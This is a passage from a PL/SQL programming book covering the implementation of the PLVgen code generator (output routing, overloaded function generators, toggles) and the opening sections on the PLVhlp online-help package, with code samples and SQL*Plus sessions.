   IF blanks_in IN (c_both, c_after)
   THEN
      PLVio.put_line (stg_with_ln);
   END IF;
END;

Since put_line is used in so many different ways, it must be flexible and, therefore, it must take several arguments. The header for put_line is as follows:

PROCEDURE put_line
   (stg_in IN VARCHAR2 := NULL,
    incr_indent_in IN INTEGER := 0,
    blanks_in IN VARCHAR2 := c_none)

The three arguments are described below:

stg_in

The string to be displayed. The default is NULL, which would produce a blank line.

incr_indent_in

The incremental indentation to be applied to the string. The default is 0, which means that the current level of indentation (set with a call to set_indent) is employed.

blanks_in

A string value which indicates the type of white space to generate around the line being displayed. The options are: c_none (no blanks), c_before (one line before), c_after (one line after), or c_both (one line before and after).

16.4.3.1 Flexibility of put_line

The following examples of calls to put_line give you an idea of its flexibility:

  1. Display one blank line.

    put_line;

  2. Display the word NULL; surrounded by blank lines.

    put_line ('NULL;', 0, c_both);

  3. Indent a call to PLVtrc.startup by the standard incremental indentation and display a blank line after that program call.

    put_line ('PLVtrc.startup', v_incr_indent, c_after);

Notice that in the second example I had to include a value of 0 for the incremental indentation. After a while, I found this practice annoying. The zero value is really just filler -- a placeholder so I could specify the blank-line behavior without using named notation. To get around this artificial coding, I have also overloaded put_line as follows:

PROCEDURE put_line
   (stg_in IN VARCHAR2, blanks_in IN VARCHAR2)
IS
BEGIN
   put_line (stg_in, 0, blanks_in);
END;

16.4.3.2 Output mechanism of put_line

Did you notice that put_line does not call DBMS_OUTPUT.PUT_LINE? It doesn't even call p.l, that ubiquitous displayer of output from a PL/SQL program. In fact, PLVgen relies on the PLVio.put_line to generate the code. Why did I bother with PLVio? What does the user have to gain from this extra layer of code? A tremendous amount of flexibility, namely with the ability to redirect the output of generated code.

What if I want to plug-and-play my code generator from within a GUI interface (e.g., Oracle Forms or PowerBuilder)? If I rely on DBMS_OUTPUT.PUT_LINE, this GUI tool would have to be able to read information from the DBMS_OUTPUT buffer and then manipulate that data. I don't know about PowerBuilder, but I have not been successful in reading the DBMS_OUTPUT buffer from Oracle Forms (if you want to try, check out the GET_LINE procedure in the DBMS_OUTPUT package).

With the PLVio package, I can redirect my output to a database table, PL/SQL table, or (with Release 2.3) an operating system file. To accomplish this I do not have to change PLVgen. I do not have to change any of the programs in which I have embedded calls to PLVgen elements. All I have to do is "flip a switch" by calling the settrg procedure of PLVio. For example, if I want to send my output to a PL/SQL table, I would issue this command before any calls to the PLVgen package:

PLVio.settrg (PLV.pstab);

Then all calls to PLVgen.put_line would add another row to the PL/SQL table defined in PLVio. The GUI environment can then extract the text from these rows and manipulate them within the GUI environment. You would not have to make a single change to the PLVgen package to accomplish this switch!

NOTE: If a PLVio target repository has not been selected by the time PLVgen is first called, the initialization section of the PLVgen package body automatically sets the target to "standard out," as shown below:

PACKAGE BODY PLVgen
IS
   /* All the package elements */
BEGIN
   /* If the target has not been set, use standard output. */
   IF PLVio.notrg
   THEN
      PLVio.settrg (PLV.stdout);
   END IF;
END;

16.4.3.3 Modularization inside put_line

The put_line procedure calls PLVio.put_line to send the line of generated code to the designated repository. What text is sent to PLVio.put_line? The PLVgen.put_line procedure actually makes use of two other private functions, stg_with_ln and indent_stg, to construct the string for output.

The stg_with_ln function incorporates logic required to display a line number before the line of code. It hides the logic and private variables shown below:

FUNCTION stg_with_ln (stg_in IN VARCHAR2 := NULL)
RETURN VARCHAR2
IS
BEGIN
   IF usingln
   THEN
      v_currln := v_currln + 1;
      RETURN
         (LPAD (TO_CHAR (v_currln), 5) || ' ' || stg_in);
   ELSE
      RETURN stg_in;
   END IF;
END;

The indent_stg function encapsulates the logic required to properly indent the line of code according to the current indent setting (initial and incremental). The body of indent_stg is shown below:

FUNCTION indent_stg (incr_indent_in IN INTEGER := 0)
   RETURN VARCHAR2
IS
BEGIN
   RETURN (RPAD (' ', v_indent + incr_indent_in));
END;

The put_line program is the only module in PLVgen that calls either stg_with_ln or indent_string. One could, therefore, argue that these modules represent an unnecessary layer of code. That may be the case for indent_stg. When I first wrote put_line, however, I did not realize that I would be so successful at funneling all output through put_line. I only knew that I did not want to embed the RPADding logic required for indentation right into put_line. It felt safer to me to hide that implementational detail behind a function. I applied the same reasoning to handling line numbers -- and that paid off immediately.

The put_line procedure of PLVgen does, in fact, call stg_with_ln three times in its short body. Since a blank line should have a line number as well, I needed to apply that logic in all three calls to PLVio.put_line. If I did not consolidate line number handling inside a separate function, I would have repeated the formula and code in put_line.

This instinct to hide code behind a procedure or function is one you should develop and then cultivate actively. You may in some cases end up writing a program or two that is only used once. The vast majority of your modules will, however, be reused and reused often. If you are sufficiently fanatical about modularization you eventually reach a critical mass of code: a strong development foundation that enables you to implement complex programs quickly and with few bugs.

16.4.3.4 Building on put_line

Once the put_line procedure was in place, I could create many other, more specialized put programs to handle different aspects of PL/SQL code. You have already seen this specialization in the proc procedure with such programs as put_terminate. There are, in fact, ten different put programs:

put_all_help
put_begin
put_comment
put_cor_end
put_end
put_header_cmnt
put_help
put_is_begin
put_terminate
put_when_others

Some of the programs, such as put_header_cmt shown below, make direct calls to put_line:

PROCEDURE put_header_cmnt
   (name_in IN VARCHAR2,
    indent_in IN INTEGER := 0,
    file_in IN VARCHAR2 := NULL,
    author_in IN VARCHAR2 := v_author)
IS
BEGIN
   IF using_hdr
   THEN
      put_line ('/*', indent_in);
      put_line ('|| Program: ' || name_in, indent_in);
      put_line ('||  Author: ' || author_in, indent_in);
      put_line ('||    File: ' || file_in, indent_in);
      put_line ('|| Created: ' || PLV.now, indent_in);
      put_line ('*/');
   END IF;
END;

Other programs call both put_line and other put procedures, such as put_end:

PROCEDURE put_end
   (prog_in IN VARCHAR2,
    indent_in IN INTEGER := 0,
    incl_term_in IN BOOLEAN := FALSE)
IS
BEGIN
   IF incl_term_in
   THEN
      put_terminate (prog_in, indent_in+v_incr_indent);
   END IF;
   put_line ('END ' || prog_in || ';', indent_in);
   put_cor_end;
END;

The conclusion to be drawn from all these layers of code is that you should always take fullest possible advantage of the opportunity to modularize. No user of PLVgen will ever know about all those different, private modules. But when it is time to add another code generator or enhance an existing program, those internal modules make it much easier to implement the changes.

Another moment when all of this internal modularization will come in handy is when I enhance PLVgen so that it can be used by other developers to build their own customized code generators. To accomplish this, I need to publicize many of my private modules by putting their headers in the PLVgen specification. Then you can more easily construct code generators that reflect your own coding standards and specific program units -- without modifying the base PLVgen package itself.

16.4.4 Overloading in PLVgen

PLVgen takes advantage of the overloading feature of packages in a very interesting way to accomplish two important objectives:

  1. Make it as easy as possible to generate code, particularly functions.

  2. Minimize the volume of code required to implement a wide array of generators.

Let's take a close look at the overloading in PLVgen. As we've mentioned before, when you overload you define more than one program with the same name. These programs differ in other ways (usually the number and types of parameters) so that at runtime the PL/SQL engine can figure out which of the programs to execute.

The func procedure, which generates functions, is overloaded seven times in PLVgen. The gas procedures, which generate get-and-set programs for a variable, is also overloaded seven times and in the same way. The techniques I employ in PLVgen to accomplish the overloading are quite interesting and informative. Let's examine the overloading in more detail for the func procedure and draw out some lessons.

First, let's take a look at the outcome of my overloaded func procedure. The following execution of func generates a numeric function called totals whose return value defaults to NULL.

SQL> exec PLVgen.func ('totals', 1);
   FUNCTION totals RETURN NUMBER
   IS
      retval NUMBER := NULL;
   BEGIN
      RETURN retval;

   EXCEPTION
      WHEN OTHERS
      THEN
         RETURN NULL;
   END totals;

How do I know that a numeric function will be generated? More importantly, how does PLVgen know that it should create a function with a RETURN clause datatype of NUMBER -- and declare the retval variable to be of type NUMBER as well? It's got to be the overloading! The second argument passed to func was the value 1. Notice that this value does not appear anywhere in the generated function. It was simply used to direct the PL/SQL runtime engine to execute the appropriate func generator.

I could have entered any of the following calls to PLVgen.func and generated the very same function:

SQL> exec PLVgen.func ('totals', -16007.459);
SQL> exec PLVgen.func ('totals', INSTR ('abc', 'Q'));

In both of these cases, the second argument evaluates to a number. As a result, the following version of the func procedure would be executed:

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in NUMBER,
    defval_in IN NUMBER := NULL,
    incl_exc_in IN BOOLEAN := TRUE);

Notice that the second argument has a datatype of NUMBER.

16.4.4.1 Implementing the func procedures

Examine the set of four overloaded definitions of func in Example 16.3. The version shown above is the only one which has a string as the first argument and a number as the second argument. As a result, the PL/SQL engine executes the code for that procedure, which follows:

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in NUMBER,
    defval_in IN NUMBER,
    incl_exc_in IN BOOLEAN := TRUE)
IS
BEGIN
   ifunc
      (name_in,
       c_number,
       NVL (TO_CHAR (defval_in), 'NULL'),
       NULL,
       incl_exc_in);
END;

Lo and behold, the entire body of the func procedure is nothing more than a call to ifunc, which is the internal version of the func procedure. In fact, every single one of the other seven overloaded versions of func also does nothing more than call ifunc. Here, for example, is the body of the version of func used to generate a date function:

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in DATE,
    defval_in IN DATE,
    incl_exc_in IN BOOLEAN := TRUE)
IS
BEGIN
   ifunc
      (name_in,
       c_date,
       NVL (TO_CHAR (defval_in), 'NULL'),
       NULL,
       incl_exc_in);
END;

There is, in fact, only one difference between the bodies of these procedures.

Example 16.3: First Set of Overloaded Definitions for func

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in VARCHAR2,
    defval_in IN VARCHAR2 := NULL,
    length_in IN INTEGER := c_def_length,
    incl_exc_in IN BOOLEAN := TRUE);

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in NUMBER,
    defval_in IN NUMBER := NULL,
    incl_exc_in IN BOOLEAN := TRUE);

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in BOOLEAN,
    defval_in IN BOOLEAN := NULL,
    incl_exc_in IN BOOLEAN := TRUE);

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in DATE,
    defval_in IN DATE := NULL,
    incl_exc_in IN BOOLEAN := TRUE);

16.4.4.2 Translating data to constant

In the number version, the second argument passed to ifunc is a constant: c_number. In the date version, I pass c_date in the second position. What I have done is convert the datatype of the second argument in func (the datadesc_in parameter) into a string that indicates the type of function to generate. In this way I am able to implement all of the different function generators with a single procedure (ifunc), greatly reducing the size of PLVgen and making it easy for me to maintain and enhance all of the function generators at once.

Here are the definitions of the datatype constants:

c_varchar2 CONSTANT VARCHAR2(8) := 'VARCHAR2';
c_date CONSTANT VARCHAR2(8) := 'DATE';
c_boolean CONSTANT VARCHAR2(8) := 'BOOLEAN';
c_number CONSTANT VARCHAR2(8) := 'NUMBER';

Notice that another aspect of calling ifunc is that I convert the default value into a string. Furthermore, if the default value is NULL, I pass a string NULL. Again, this conversion process allows me to implement all of the function generators with a single procedure that has the following header:

PROCEDURE ifunc
   (name_in IN VARCHAR2,
    datadesc_in VARCHAR2,
    defval_in IN VARCHAR2,
    length_in IN INTEGER,
    incl_exc_in IN BOOLEAN := TRUE)

The arguments of ifunc are the same as those for func, with the following differences:

  1. The datadesc_in and defval_in arguments are always and only VARCHAR2. All datatype differences have at this point been converted to constants and merged in the bodies of the func procedures.

  2. The fourth argument, length_in, is required only for VARCHAR2 functions so it didn't appear in the headers for number and date versions of func (it is present, on the other hand, in the string version -- see Example 16.3). The calls to ifunc in those procedures simply pass NULL for the length argument.

The body of ifunc closely parallels that of the proc procedure. Differences reflect the special structure of a function: the RETURN clause and RETURN statements, the declaration of a local "return value" variable (necessary to conform to my coding standards). I will not go over this implementation here, since the focus is on overloading. I direct your attention, however, to the way that the IS and BEGIN keyword are put separately in a function, since I declare a local variable in between, using the var_declare private function.

16.4.4.3 Overloading for unevaluated default values

So far I have examined overloadings of func for each of VARCHAR2, NUMBER, DATE, and BOOLEAN datatypes in which the default value passed in is of the same datatype as the function. These versions of func allow me to specify a default value which is evaluated and then placed in the local variable declaration.

Suppose I want to create a date function that contains as a default value the first day of 1996. I would call func as follows:

SQL> exec PLVgen.func ('day_offset', SYSDATE, TRUNC (SYSDATE, 'YYYY'));
   FUNCTION day_offset RETURN DATE
   IS
      retval DATE := '01-JAN-96';
   BEGIN
      RETURN retval;

   EXCEPTION
      WHEN OTHERS
      THEN
         RETURN NULL;
   END day_offset;

In this situation, the expression TRUNC (SYSDATE, 'YYYY') was evaluated by ifunc. The resulting value was then placed after the assignment operator in the declaration. That works just fine. What if, on the other hand, I don't want the default value to be the first day of 1996? What if, instead, I want the default to be the first day of the current year -- whatever that might be? I wouldn't want the default value evaluated. Rather, it should be treated as a literal -- a string, in fact -- and passed on to the assignment without parsing and evaluation.

In this scenario, my call to func would look like this:

SQL> exec PLVgen.func
             ('day_offset', SYSDATE, 'TRUNC (SYSDATE, ''YYYY'')');

and the resulting declaration of the return value variable in the generated function would look like:

IS
   retval DATE := TRUNC (SYSDATE, 'YYYY');
BEGIN

This kind of default value is surely going to be a common occurrence when generating code in the real world. So if PLVgen is going to be truly useful, it needs to be able to handle this variation.

16.4.4.4 The final overloading frontier

Fortunately, the flexibility provided by overloading lets me get the job done in a straightforward manner. Did you notice that the last call to func (passing the string version of TRUNC (SYSDATE, 'YYYY')) contains a sequence of arguments not supported by the overloadings of func shown in Example 16.3 (I pass string-date-string instead of string-date-date). To handle this combination, I need to create another overloading of func, one that accepts a string default value. This version of func is shown below:

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in DATE,
    defval_in IN VARCHAR2,
    incl_exc_in IN BOOLEAN := TRUE);

Notice that in this case I do not provide a default value of NULL for the defval_in parameter. If I did so, then I would have an ambiguous overloading. A call to func that only supplied the first two parameter values would be syntactically valid, but would generate the following runtime error:

PLS-00307: too many declarations of 'FUNC' match this call

The PL/SQL engine would not know which of the two versions of func to execute (in both cases only the first arguments are required and they are string-date in both versions). By leaving off a default for the defval_in parameter, I force a user to provide three values, the third of which is a string, thereby ensuring that any valid execution of func identifies uniquely one of the func overloadings.

Example 16.4 shows the additional overloadings for DATE, NUMBER, and BOOLEAN. Together with the versions shown in Example 16.3, I have now presented and explain the full set of overloadings (seven) for the func procedure. The same number of and rationale for overloadings is, by the way, applicable to the PLVgen.gas procedures.

Example 16.4: Last Three Overloadings of Func

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in NUMBER,
    defval_in IN VARCHAR2,
    incl_exc_in IN BOOLEAN := TRUE);

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in BOOLEAN,
    defval_in IN VARCHAR2,
    incl_exc_in IN BOOLEAN := TRUE);

PROCEDURE func
   (name_in IN VARCHAR2,
    datadesc_in DATE,
    defval_in IN VARCHAR2,
    incl_exc_in IN BOOLEAN := TRUE);

16.4.4.5 Special casing unevaluated string values

I have presented all of the overloadings, but have not yet finished explaining the full range of functionality available with the func procedures. Have you wondered why I have only (!) seven overloadings of func? Why don't I offer another overloading to support nonevaluated default values for string functions, for a total of eight overloadings? That would provide a symmetry one might expect in the PLVgen code.

Contrary to first impressions, however, I cannot overload two different versions of the VARCHAR2 function generator as I did for the other datatypes. Recall that the third argument of the original VARCHAR2 func is already a string. An overloading that followed the same approach would simply be a duplicate. You can see my dilemma in the two calls to func shown below:

SQL> exec PLVgen.func ('full_name', 'A', 'SMITH, SALLY');
SQL> exec PLVgen.func ('full_name', 'A', 'LPAD (last_name_in)');

These two uses of func look very different to you and me; it is easy to see how and why they should be treated differently in the generated code. To the PL/SQL engine, however, there is no distinction. As a result, I needed to come up with a way to tell my package when it had an expression that should not be evaluated.

The approach I took was to set the following rule: if you want the default value to be passed untouched to the generated function, prefix your default value with a =. With this convention, I would change the last example of a call to PLVgen.func to:

SQL> exec PLVgen.func ('full_name', 'A', '=LPAD (last_name_in)');

This special case is recognized and handled in the var_declare function. This function is called within ifunc to define a local variable to RETURN from the function, as shown below:

put_line
   ('v_' ||
    var_declare (v_name, datadesc_in, defval_in, length_in));

Inside var_declare, the following IF statement is then executed:

IF SUBSTR (defval_in, 1, 1) = c_literal AND
   LENGTH (defval_in) > 1
THEN
   v_defval := SUBSTR (defval_in, 2);
ELSIF datadesc_in IN (c_varchar2, c_date)
THEN
   v_defval := PLVchr.quoted1 (defval_in);
END IF;

Translation: if the first character is an equal sign and there is more to the default than simply an equal sign, set the default value to the expression following the equal sign. Otherwise, if the datatype of the variable is a string or a date, embed the default value in single quotes. The default value is then concatenated into the variable declaration statement.

The multiple versions of func and gas in PLVgen offer several interesting lessons in package-based overloading. First and most importantly, overloading provides a smooth and easy to use interface. The user of PLVgen only has to remember func in order to generate a function, regardless of the datatype (within the range of supported datatypes, of course). This is much simpler than remembering different names, such as string_func and date_func.

Second, from the implementational view, PLVgen shows how to merge all those different public func procedures into a single, internal ifunc procedure. By converting user-entered values to constants that are recognized by the package, I can keep the code required to implement all these variations down to an absolute minimum.

Finally, the steps taken to allow for nonevaluated defaults for the VARCHAR2 function illustrate the kind of creative thinking (or is it just a workaround kludge?) in which you must sometimes engage in order to surmount obstacles in PL/SQL development.

16.4.5 Applying the Toggles

With all of these toggles modifying the look-and-feel of the generated code, it is extremely important to find a way to apply the toggles without cluttering up the code. I accomplish this mostly through the use of those same specialized put programs discussed earlier.

Consider the put_comment program. This procedure accepts as input a string, any incremental indentation, and also a specifier for surrounding blank lines (the same three arguments as put_line itself). put_comment simply surrounds the string with the comment markers, /* and */, and then passes this commented string to put_line.

The following statement shows an example of a call to put_comment that outputs the string /* Public Modules */ indented three spaces past the default with a blank line both before and after the comment.

put_comment ('Public Modules', 3, c_both);

Yet if the user has executed either of the following lines:

SQL> exec PLVgen.usemin
SQL> exec PLVgen.nousecmnt

then I do not want put_comment to display anything. There are two different solutions to this situation:

  1. Nest every call to put_comment inside an IF statement like this:

    IF using_cmnt
THEN
   put_comment ('Public Modules', 3, c_both);
END IF;

  2. Put the IF statement inside the put_comment procedure. This approach is shown below:

    PROCEDURE put_comment
   (stg_in IN VARCHAR2 := NULL,
    incr_indent_in IN INTEGER := 0,
    blanks_in IN VARCHAR2 := c_none)
IS
BEGIN
   IF using_cmnt
   THEN
      put_line (comment (stg_in), incr_indent_in, blanks_in);
   ELSIF blanks_in != c_none
   THEN
      put_line (NULL, incr_indent_in, c_none);
   END IF;
END;

    I recommend the second approach. By hiding the IF statement inside put_comment, the code in each program that calls put_comment is tighter and cleaner. In addition, I do not have to remember the name of the function that tells me whether or not to use comments each time I call put_comment. Instead, I code it once inside put_comment and make the toggle transparent in my code.

    You see this same approach used throughout PLVgen. Again and again you find that each toggle is checked and applied as close as possible to the put_line the toggle is supposed to affect.

16.4.6 Leveraging PL/Vision in PLVgen

You may have noticed several references in PLVgen programs to modules from other PL/Vision packages, such as PLVio. In fact, PLVgen takes advantage of the following programs in the PL/Vision library:

PLVio.put_line

Called by PLVgen.put_line, this program sends a line of output to the current default target for the PLVio package. If this target has not been set before using this package, the initialization section of the package sets the target to be standard output (display to terminal).

PLV.now

Returns the current date and time as a formatted string.

PLVhlp.comment_start

Returns a string that conforms to the guidelines used by PLVhlp to mark the beginning of a block of help text.

PLVhlp.comment_end

Returns a string that conforms to the guidelines used by PLVhlp to mark the ending of a block of help text.

PLVcase.string

Applies the UPPER-lower method to the parameter list of a program, and to the default value of a variable

PLVchr.quoted1

Embeds the specified string inside single quotes.

PLV.boolstg

Returns the string TRUE if a Boolean evaluates to TRUE. Otherwise returns the string FALSE.

PLVhlp.show

Shows any help text defined in the PLVgen package to help developers understand and use this package.

PLVio.settrg

Sets the target for calls to PLVio.put_line to standard output if that target has not already been set in the current session.

In most of the uses listed above, the PL/Vision modules play modest roles. They mostly serve to encapsulate logic which, while uncomplicated, should not have to be known outside of the package. Two of the programs, PLVio.put_line and PLVcase.string, offer major added-value to the PLVgen package. I have already examined how PLVio.put_line is used in the Plvgen.put_line procedure to enhance the flexibility of the code generator to write code out to different repositories. The usage of PLVcase.string increases the elegance of the code generator and its ability to support best practices, in this case the automatic upper-casing of reserved words.

Previous: 16.3 Modifying PLVgen Behavior | Advanced Oracle PL/SQL Programming with Packages | Next: 17. PLVhlp: Online Help for PL/SQL Programs
16.3 Modifying PLVgen Behavior | Book Index | 17. PLVhlp: Online Help for PL/SQL Programs
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] PLVhlp: Online Help for PL/SQL Programs

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 16.4 Implementing PLVgen Chapter 17 Next: 17.2 Current Sources of Information

17. PLVhlp: Online Help for PL/SQL Programs

Contents:
Who Needs Online Help?
Current Sources of Information
What Is "Online Help" for Stored Code?
Using PLVhlp
Implementing PLVhlp

This chapter explores the PLVhlp (PL/Vision HeLP) package. You can use PLVhlp to provide online help for your own PL/SQL programs. Just imagine: If you or someone else in your development team forgets how to call a program or can't remember the name of the function to calculate the total something or other in the sales_analysis package, you can simply type:

SQL> exec sales_analysis.help

and find text scrolling across the screen, one page at a time, giving you just the information you need. Why, you might almost be able to actually share PL/SQL code across the enterprise in a practical way!

In the following sections, you will learn how to use PLVhlp, both in terms of creating text that can be made available for online help, and in terms of retrieving and displaying the online help text. I then take you step by step through the thought process and implementation behind PLVhlp.

17.1 Who Needs Online Help?

PL/Vision contains many packages, with many programs in each package. Despite its complexity, since I am the author of PL/Vision I should be intimately familiar with all aspects of the product. So you can imagine my frustration when I can't remember precisely how to call one of my own packaged programs, and have to go scrounging through the source code to figure it out. I fume to myself: "You wrote this stuff! Can't you remember what it does and how it does it?" But the sad fact is that I cannot remember all the finer nuances of my finer creations. As a result, valuable moments are lost from my life.

What I really need is online help so that when I am confused, I can type in a short, easy-to-remember command (along the lines of HELP!) and get the information I need.

To give you an understanding of my frustration, I offer the following transcript of a session with SQL*Plus (words in italics reflect the inner thoughts of yours truly trying to get something done).

I fire up SQL*Plus. On the one hand, I sigh at having to deal with this command-line, non-GUI interface. On the other hand, I know that this is the fastest, leanest environment in which to compile and run PL/SQL programs. Here I go...

SQL>

All right, now I want to parse a string into separate tokens. Let's see, that's gotta be the PLVlex package and the getnext function.

SQL> VARIABLE toke VARCHAR2(30);
SQL> exec :toke := PLVlex.getnext ('this is it');
begin :toke := PLVlex.getnext ('this is it'); end;
 *
ERROR at line 1:
ORA-06550: line 1, column 23:
PLS-00302: component 'GETNEXT' must be declared
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored

Well, that didn't work. I guess it's not called getnext after all. Well, what the heck is it called? Oh yeah! It's get_next_token.

SQL> exec :toke := PLVlex.get_next_token ('this is it');
begin :toke := PLVlex.get_next_token ('this is it'); end;
 *
ERROR at line 1:
ORA-06550: line 1, column 23:
PLS-00302: component 'GET_NEXT_TOKEN' must be declared
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored

#$%!! No, that's not correct either! Now I am really frustrated. Sigh... guess it is time to go into Codewright, open up the source code and take a look around... well, I'm lucky to at least have ready access to my code...

Have you ever had this kind of problem? The database is jam-packed with all sorts of goodies, but how are you supposed to know what's there and what it's good for? Stored code is wonderful, but there is no easy way at the moment to view that stored source code -- a necessary step to figure out how to call a particular program or understand what happens when you do run the program. This is most crucial when working with packages. In this case, the package specification is supposed to contain all the information you will ever need to use that package, but how do you find and view that specification?

Previous: 16.4 Implementing PLVgen | Advanced Oracle PL/SQL Programming with Packages | Next: 17.2 Current Sources of Information
16.4 Implementing PLVgen | Book Index | 17.2 Current Sources of Information
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.2 Current Sources of Information

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

17.2 Current Sources of Information

OK, you've got the DESCRIBE command in SQL*Plus. This command displays the parameters of a stored program (either standalone or package-based). For example, if I want to know about the call interface to my PLVvu.code procedure, this is what I do:

SQL> desc PLVvu.code
PROCEDURE PLVvu.code
 Argument Name   Type           In/Out Default?
 --------------- -------------- ------ --------
 NAME_IN         VARCHAR2       IN     DEFAULT
 START_IN        NUMBER(38)     IN     DEFAULT
 END_IN          NUMBER(38)     IN     DEFAULT
 HEADER_IN       VARCHAR2       IN     DEFAULT
 TYPE_IN         VARCHAR2       IN     DEFAULT

The DESCRIBE command even tells me the return datatype of a function:

SQL> desc PLVtkn.is_keyword
FUNCTION PLVtkn.is_keyword RETURNS BOOLEAN
 Argument Name   Type           In/Out Default?
 --------------- -------------- ------ --------
 TOKEN_IN        VARCHAR        IN
 TYPE_IN         VARCHAR2       IN     DEFAULT

The DESCRIBE command, by the way, makes use of the DESCRIBE_PROCEDURE procedure of the builtin DBMS_DESCRIBE package. This program returns a program's arguments in a series of PL/SQL tables. It's a great utility, except it doesn't tell me anything about what the program does -- only how to call it. Furthermore, you need to know the name of the program to use DESCRIBE. The DESCRIBE command does not, in other words, offer online documentation or help for this code.

Another option is to view the source code (assuming that you have access to it, which is far from certain). The PLVvu package provides the code and code_after procedures for just this purpose. For example, I can view the first ten lines of the PLVvu package itself as follows:

SQL> exec PLVvu.code ('b:PLVvu', 1, 10);
-----------------------------------------------------------------------
Code for PACKAGE BODY PLVVU
-----------------------------------------------------------------------
Line#  Source
-----------------------------------------------------------------------
    1 PACKAGE BODY PLVvu
    2 IS
    3    c_product_header VARCHAR2(30) := 'PL/Vision';
    4    c_linelen INTEGER := 77;
    5    v_last_border BOOLEAN := FALSE;
    6    v_overlap INTEGER := c_overlap;
    7    /*--------------- Private Modules -----------------*/
    8    PROCEDURE disp_border
    9       (line_in IN INTEGER := NULL,
   10        err_line_in IN INTEGER := NULL,

Unfortunately, both DESCRIBE and the PLVvu.code approach are still fairly crude and heavy-handed solutions to a basic problem in PL/SQL: the lack of an online help facility for one's code.

In the remainder of this chapter I present an architecture (and, of course, a PL/SQL package) for implementing online help for PL/SQL programs. The resulting PLVhlp package may not the most elegant approach one would want to take, but it has lots of potential for improving the lot of developers.

Previous: 17.1 Who Needs Online Help? | Advanced Oracle PL/SQL Programming with Packages | Next: 17.3 What Is "Online Help" for Stored Code?
17.1 Who Needs Online Help? | Book Index | 17.3 What Is "Online Help" for Stored Code?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.3 What Is "Online Help" for Stored Code?

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

17.3 What Is "Online Help" for Stored Code?

First of all, let me make a distinction and set some scope for this chapter: I am not talking about online help for PL/SQL itself (such as "what is the syntax of the OPEN statement?"). Instead, I want to address how to provide online help for PL/SQL programs that you or I might write and then make available to others. So when I say "online help for PL/SQL," I mean online instructions on how to use custom-built and prebuilt PL/SQL programs that have been stored in a database and on which you have execute authority.[1]

[1] You could, by the way, also use this package and techniques to provide online help for builtins of the PL/SQL language.

Let's now run through the same scenario I presented at the beginning of the chapter, this time with online help for PL/SQL available.

All right, now I want to parse a string into separate tokens. Let's see, that's gotta be the PLVlex package and the getnext function.

SQL> VARIABLE toke VARCHAR2(30);
SQL> exec :toke := PLVlex.getnext ('this is it');
begin :toke := PLVlex.getnext ('this is it'); end;
 *
ERROR at line 1:
ORA-06550: line 1, column 23:
PLS-00302: component 'GETNEXT' must be declared
ORA-06550: line 1, column 7:
PL/SQL: Statement ignored

Well, that didn't work. Admit it, Steven, you forgot how to use your own code. Time to get some help.

SQL> exec PLVlex.help
Help for PLVLEX
Overview: provides lexical analysis and functions for strings.
===================================================================
Element - Description
===================================================================
FUNCTION is_delimiter - Returns TRUE if string is a delimiter.
PROCEDURE get_next_token - Returns next token in string.
PROCEDURE get_next_atomic - Returns next atomic in string.

Now I know what's in the package. What I'd really like are examples of the ways these programs can be used.

SQL> @examples PLVlex
Examples for PLVLEX

Here is a call to get_next_token as used by PLVcase,
which UPPER-lower cases PL/SQL programs:

   LOOP
      PLVlex.get_next_token
        (text, curr_pos, token, next_pos, FALSE, text_len, TRUE);

      EXIT WHEN v_token IS NULL OR line_in.pos > line_in.len;

   END LOOP;

The FALSE indicates that I do not want to skip over spaces. This
maintains the program's indentation. The TRUE indicates that I want
qualified names (X.Y.Z) to be returned as one token.

I am now ready to roll. That is just the information I needed to move into high gear!

That is the kind of help I would love to be able to get from a PL/SQL environment. Of course, the help itself is only as good as the text you enter. In addition, you need to at least know the name of the package you want to be using... well, I take that back. After all, once the help mechanism is in place, you could provide a very high-level "table of contents" or index into your programs, as I show below.

SQL> @help
Overview of PL/Vision

PL/Vision is a development accelerator for PL/SQL programmers.
It is made up of a set of packages which you can use as
plug-and-play components in your own applications. Here is a
quick overview of some of the available packages:

PLVdyn - performs dynamic SQL and PL/SQL operations.
PLVexc - High-level exception handling capabilities.
PLVlex - Lexical analysis and parsing of strings.
PLVlog - Generic log mechanism.
PLVvu - View stored code and compile errors.

At this point I imagine you understand the idea -- and I hope you like it. If not, skip the rest of this chapter. If so, I first provide the basic information ("user's guide") you need to use the PLVhlp package. After that I move on to the underlying principles, architecture, and implementation of online help for your PL/SQL programs so that you can get a better understanding of how I went about constructing this utility.

Previous: 17.2 Current Sources of Information | Advanced Oracle PL/SQL Programming with Packages | Next: 17.4 Using PLVhlp
17.2 Current Sources of Information | Book Index | 17.4 Using PLVhlp
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

